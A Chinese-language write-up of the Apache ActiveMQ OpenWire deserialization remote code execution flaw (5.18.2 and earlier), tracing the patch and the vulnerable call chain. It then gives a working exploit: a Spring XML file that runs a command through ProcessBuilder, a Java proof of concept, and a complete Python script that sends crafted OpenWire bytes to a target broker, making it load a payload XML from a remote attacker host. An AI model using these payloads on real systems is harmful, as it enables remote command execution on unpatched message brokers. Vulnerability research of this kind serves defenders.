Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。
分析补丁内容
查看官方补丁内容
Merge pull request #1098 from cshannon/openwire-throwable-fix · apache/activemq@80089f9 · GitHub
package org.apache.activemq.openwire;
public class OpenWireUtil {
/**
* Verify that the provided class extends {@link Throwable} and throw an
* {@link IllegalArgumentException} if it does not.
*
* @param clazz
*/
public static void validateIsThrowable(Class<?> clazz) {
if (!Throwable.class.isAssignableFrom(clazz)) {
throw new IllegalArgumentException("Class " + clazz + " is not assignable to Throwable");
}
}
}
这个方法用于验证给定的类是否是 Throwable 的子类,如果不是,则抛出 IllegalArgumentException 异常。
调用的地方
public abstract class BaseDataStreamMarshaller implements DataStreamMarshaller {
@@ -229,8 +230,11 @@ protected Throwable tightUnmarsalThrowable(OpenWireFormat wireFormat, DataInput
private Throwable createThrowable(String className, String message) {
try {
Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
+ OpenWireUtil.validateIsThrowable(clazz);
Constructor constructor = clazz.getConstructor(new Class[] {String.class});
return (Throwable)constructor.newInstance(new Object[] {message});
+ } catch (IllegalArgumentException e) {
+ return e;
} catch (Throwable e) {
return new Throwable(className + ": " + message);
}
在 Apache ActiveMQ 中,
BaseDataStreamMarshaller
是用于序列化和反序列化消息数据流的基础类之一。它是 ActiveMQ 的序列化框架中的一个重要组成部分,用于将消息对象转换为字节流以便在网络上传输,并在接收端将字节流还原为消息对象。
在 Apache ActiveMQ 中,
Throwable
类通常用于表示可能出现的错误或异常情况。当代码执行过程中出现异常时,可以创建Throwable
类的实例来表示这个异常,并通过抛出或捕获异常来进行相应的处理。
Class.forName(String className, boolean initialize, ClassLoader loader)
:这个重载形式允许指定是否初始化类以及类加载器。
-
className
:要加载的类的全限定名。 -
initialize
:一个布尔值,表示是否初始化类。如果为true
,则会执行类的静态代码块,如果为false
,则不会执行静态代码块。一般情况下,建议设置为true
。 -
loader
:一个类加载器对象,用于指定加载类的类加载器。如果不指定,则使用调用者的类加载器。
看样子!之前的版本没有检查clazz 属于什么类便实例化了该对象。任意类加载实例化 还有构造参数。
分析调用链
右键find useages - createThrowable
跟进其中一个looseUnmarsalThrowable进行分析
protected Throwable looseUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn)
throws IOException {
if (dataIn.readBoolean()) {
String clazz = looseUnmarshalString(dataIn);
String message = looseUnmarshalString(dataIn);
Throwable o = createThrowable(clazz, message);
if (wireFormat.isStackTraceEnabled()) {
if (STACK_TRACE_ELEMENT_CONSTRUCTOR != null) {
StackTraceElement ss[] = new StackTraceElement[dataIn.readShort()];
for (int i = 0; i < ss.length; i++) {
try {
ss[i] = (StackTraceElement)STACK_TRACE_ELEMENT_CONSTRUCTOR
.newInstance(new Object[] {looseUnmarshalString(dataIn),
looseUnmarshalString(dataIn),
looseUnmarshalString(dataIn),
Integer.valueOf(dataIn.readInt())});
} catch (IOException e) {
throw e;
} catch (Throwable e) {
}
}
o.setStackTrace(ss);
} else {
short size = dataIn.readShort();
for (int i = 0; i < size; i++) {
looseUnmarshalString(dataIn);
looseUnmarshalString(dataIn);
looseUnmarshalString(dataIn);
dataIn.readInt();
}
}
o.initCause(looseUnmarsalThrowable(wireFormat, dataIn));
}
return o;
} else {
return null;
}
}
在 Apache ActiveMQ 中,
looseUnmarshalThrowable
是一个内部方法,用于处理消息的解组(unmarshal)过程中可能出现的异常情况。该方法通常用于在消息传递或序列化过程中尝试恢复消息的内容,以防止丢失信息。
String clazz = looseUnmarshalString(dataIn);
这行代码通过调用looseUnmarshalString
方法从dataIn
数据流中读取异常的类名,并将其存储在名为clazz
的字符串变量中。looseUnmarshalString
方法的作用是从数据流中解析出一个字符串值,然后返回该字符串值。
String message = looseUnmarshalString(dataIn);
这行代码类似于第一行,它也通过调用looseUnmarshalString
方法从dataIn
数据流中读取异常的消息,并将其存储在名为message
的字符串变量中。
继续分析looseUnmarsalThrowable的调用
右键find useages - looseUnmarsalThrowable
跟进其中一个ExceptionResponseMarshaller进行分析
/**
* Un-marshal an object instance from the data input stream
*
* @param o the object to un-marshal
* @param dataIn the data input stream to build the object from
* @throws IOException
*/
public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException {
super.looseUnmarshal(wireFormat, o, dataIn);
ExceptionResponse info = (ExceptionResponse)o;
info.setException((java.lang.Throwable) looseUnmarsalThrowable(wireFormat, dataIn));
}
继续向上分析looseUnmarshal 的调用
右键find useages - looseUnmarshal 这里有点多慢慢分析...
最终找到一个doUnmarshal的方法
public Object doUnmarshal(DataInput dis) throws IOException {
byte dataType = dis.readByte();
if (dataType != NULL_TYPE) {
DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];
if (dsm == null) {
throw new IOException("Unknown data type: " + dataType);
}
Object data = dsm.createObject();
if (this.tightEncodingEnabled) {
BooleanStream bs = new BooleanStream();
bs.unmarshal(dis);
dsm.tightUnmarshal(this, data, dis, bs);
} else {
dsm.looseUnmarshal(this, data, dis);
}
return data;
} else {
return null;
}
}
DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];
这行代码的作用是从名为dataMarshallers
的数组中获取与数据类型对应的DataStreamMarshaller
对象,并将其赋值给变量dsm
。这里使用了位运算符&
来确保dataType
的值在合法范围内(0 到 255),因为数组索引通常要求是非负整数,通过dataType & 0xFF
可以将dataType
转换为 0 到 255 之间的值,以便在数组中进行查找。
这里我们需要做如下考虑
1,我们需要dsm等于ExceptionResponseMarshaller ,这样就会调用ExceptionResponseMarshaller 的looseUnmarshal 方法。如此要dataType为31
2,this.tightEncodingEnabled 成立
继续分析doUnmarshal的调用
右键find useages - doUnmarshal
来到unmarshal 方法
@Override
public Object unmarshal(DataInput dis) throws IOException {
DataInput dataIn = dis;
if (!sizePrefixDisabled) {
int size = dis.readInt();
if (maxFrameSizeEnabled && size > maxFrameSize) {
throw IOExceptionSupport.createFrameSizeException(size, maxFrameSize);
}
// int size = dis.readInt();
// byte[] data = new byte[size];
// dis.readFully(data);
// bytesIn.restart(data);
// dataIn = bytesIn;
}
return doUnmarshal(dataIn);
}
继续向上
右键find useages - unmarshal
来到readCommand()
protected Object readCommand() throws IOException {
return wireFormat.unmarshal(dataIn);
}
readCommand()<—doRun()<—run()
protected void doRun() throws IOException {
try {
Object command = readCommand();
doConsume(command);
} catch (SocketTimeoutException e) {
} catch (InterruptedIOException e) {
}
}
@Override
public void run() {
LOG.trace("TCP consumer thread for " + this + " starting");
this.runnerThread=Thread.currentThread();
try {
while (!isStopped() && !isStopping()) {
doRun();
}
} catch (IOException e) {
stoppedLatch.get().countDown();
onException(e);
} catch (Throwable e){
stoppedLatch.get().countDown();
IOException ioe=new IOException("Unexpected error occurred: " + e);
ioe.initCause(e);
onException(ioe);
}finally {
stoppedLatch.get().countDown();
}
}
至此调用链分析就结束了
要想成功加载恶意类,控制dataIn中的数据即可,
如何制造我们想要的序列化数据呢?
既然有readCommand,那么就会有writeCommand
参考下同类下的oneway方法
@Override
public void oneway(Object command) throws IOException {
checkStarted();
wireFormat.marshal(command, dataOut);
dataOut.flush();
}
有兴趣的话可以分析producer.send(message);是如何到达oneway方法的
在 Apache ActiveMQ 中,当调用
producer.send(message)
发送消息时,消息的发送过程经过了几个步骤,最终会触发oneway
方法。
producer.send(message)
:这是消息生产者发送消息的方法调用。在 ActiveMQ 中,消息生产者通过调用这个方法将消息发送到目标队列或主题。在 ActiveMQ 的内部实现中,
send
方法会触发消息发送逻辑,该逻辑可能涉及到消息的封装、路由、传输等过程,具体取决于 ActiveMQ 的配置和使用方式。最终,消息将会被封装成一个命令对象,这个命令对象可能是一个
ProducerInfo
或者其他与消息发送相关的命令对象。接着,封装好的命令对象会被传递给底层的传输层,这个传输层可能是通过 TCP、HTTP 或其他协议进行通信。
在传输层中,消息会经过序列化(将消息对象转换为字节流)和网络传输的过程。
最终,消息到达了消息代理(broker),并被处理。在消息代理中,可能会调用
oneway
方法来处理接收到的命令对象,并执行相应的操作,比如存储消息、转发消息等。因此,整个过程是从消息生产者的
send
方法开始,经过消息封装、传输、消息代理处理,最终到达了oneway
方法。这个过程涉及了消息传输和处理的多个环节,在 ActiveMQ 内部都有相应的逻辑来处理消息的发送和接收。
我们可以直接获取oneway方法,并且传入exceptionResponse
((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);
什么对象可以被利用呢,这里给一个参考
org.springframework.context.support.ClassPathXmlApplicationContext
ClassPathXmlApplicationContext 可以创建bean 可以造成命令执行,如下给出示例
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>touch</value>
<value>/tmp/activeMQ-RCE-success</value>
</list>
</constructor-arg>
</bean>
</beans>
ClassPathXmlApplicationContext支持网络远程加载,类似这样加载\http://xxxxx.xml 加载到容器里。
构造一个ClassPathXmlApplicationContext 它需要与ExceptionResponse 产生关联,于是便可以这样写
package org.springframework.context.support;
public class ClassPathXmlApplicationContext extends Throwable{
private String message;
public ClassPathXmlApplicationContext(String message) {
this.message = message;
}
@Override
public String getMessage() {
return message;
}
}
之后用ExceptionResponse封装这个类
public class ExceptionResponse extends Response {
public static final byte DATA_STRUCTURE_TYPE = CommandTypes.EXCEPTION_RESPONSE;
Throwable exception;
public ExceptionResponse(Throwable e) {
setException(e);
}
....
}
有如下生成恶意序列化的代码demo
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.command.ExceptionResponse;
import org.apache.activemq.transport.AbstractInactivityMonitor;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import javax.jms.\*;
import java.io.\*;
import java.lang.reflect.Method;
public class MQ\_POC {
private static final String *ACTIVEMQ\_URL* \= "tcp://172.20.10.7:61616";
//定义发送消息的队列名称
private static final String *QUEUE\_NAME* \= "tempQueue";
public static void main(String\[\] args) throws Exception {
//创建连接工厂
ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(*ACTIVEMQ\_URL*);
//创建连接
Connection connection = activeMQConnectionFactory.createConnection();
//打开连接
connection.start();
Throwable obj2 = new ClassPathXmlApplicationContext("http://172.20.10.4/poc.xml");
ExceptionResponse exceptionResponse = new ExceptionResponse(obj2);
((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);
connection.close();
}
}
或者使用其他形式生成 序列化数据
import io
import socket
import sys
def main(ip, port, xml):
classname = "org.springframework.context.support.ClassPathXmlApplicationContext"
socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_obj.connect((ip, port))
with socket_obj:
out = socket_obj.makefile('wb')
# out = io.BytesIO() # 创建一个内存中的二进制流
out.write(int(32).to_bytes(4, 'big'))
out.write(bytes([31]))
out.write(int(1).to_bytes(4, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(int(1).to_bytes(4, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(len(classname).to_bytes(2, 'big'))
out.write(classname.encode('utf-8'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(len(xml).to_bytes(2, 'big'))
out.write(xml.encode('utf-8'))
# print(list(out.getvalue()))
out.flush()
out.close()
if __name__ == "__main__":
if len(sys.argv) != 4:
print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 "
"http://192.168.0.101:8888/poc.xml")
exit(-1)
main(sys.argv[1], int(sys.argv[2]), sys.argv[3])